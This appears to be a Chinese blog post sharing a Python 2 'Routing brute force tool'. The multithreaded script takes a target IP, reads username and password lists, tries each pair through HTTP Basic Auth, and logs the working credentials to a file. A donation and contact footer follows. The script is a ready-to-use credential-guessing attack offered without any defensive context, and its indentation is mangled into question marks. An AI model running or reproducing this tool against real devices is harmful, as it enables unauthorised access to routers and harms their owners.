運行時請在其目錄下添加user.txt passwd.txt兩文件。否則會報錯。程序沒有加異常處理。代碼比較挫.....
#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):
? def __init__(self,queue,passwd):
??? threading.Thread.__init__(self)
??? self.queue=queue
??? self.passwordlist=passwd
? def run(self):
??? self.user=queue.get()
??? for self.passwd in self.passwordlist:
????? request = urllib2.Request("http://"+target)
????? psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
????? request.add_header('Authorization', psw_base64)
????? try:
????????
??????? response = urllib2.urlopen(request)
??????? print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
??????? fp3 = open('log.txt','a')
??????? fp3.write(self.user+'||'+self.passwd+'\r\n')
??????? fp3.close()
????? except urllib2.HTTPError:
??????? print "[-]password:%s Error!" % (self.passwd)
?
if __name__ == '__main__':
? print '''
??? #######################################################
??? #???????????????????????????????????????????????????? #
??? #??????????????? Routing brute force tool???????????? #
??? #???????????????????????????????????????????????????? #
??? #???????????????? by:well???????????????????????????? #
??? #??????????????????????????????????????????????????? #
??? #######################################################
'''
? passwordlist = []
? line = 20
? threads = []
? global target
? target = raw_input("input ip:")
? fp =open("user.txt")
? fp2=open("passwd.txt")
? for user in fp.readlines():
??? queue.put(user.split('\n')[0])
? for passwd in fp2.readlines():
??? passwordlist.append(passwd.split('\n')[0])
??? #print passwordlist
??????
? fp.close()
? fp2.close()
? for i in range(line):
??? a = Rout_thread(queue,passwordlist)
??? a.start()
??? threads.append(a)
? for j in threads:
??? j.join()
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯(lián)系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
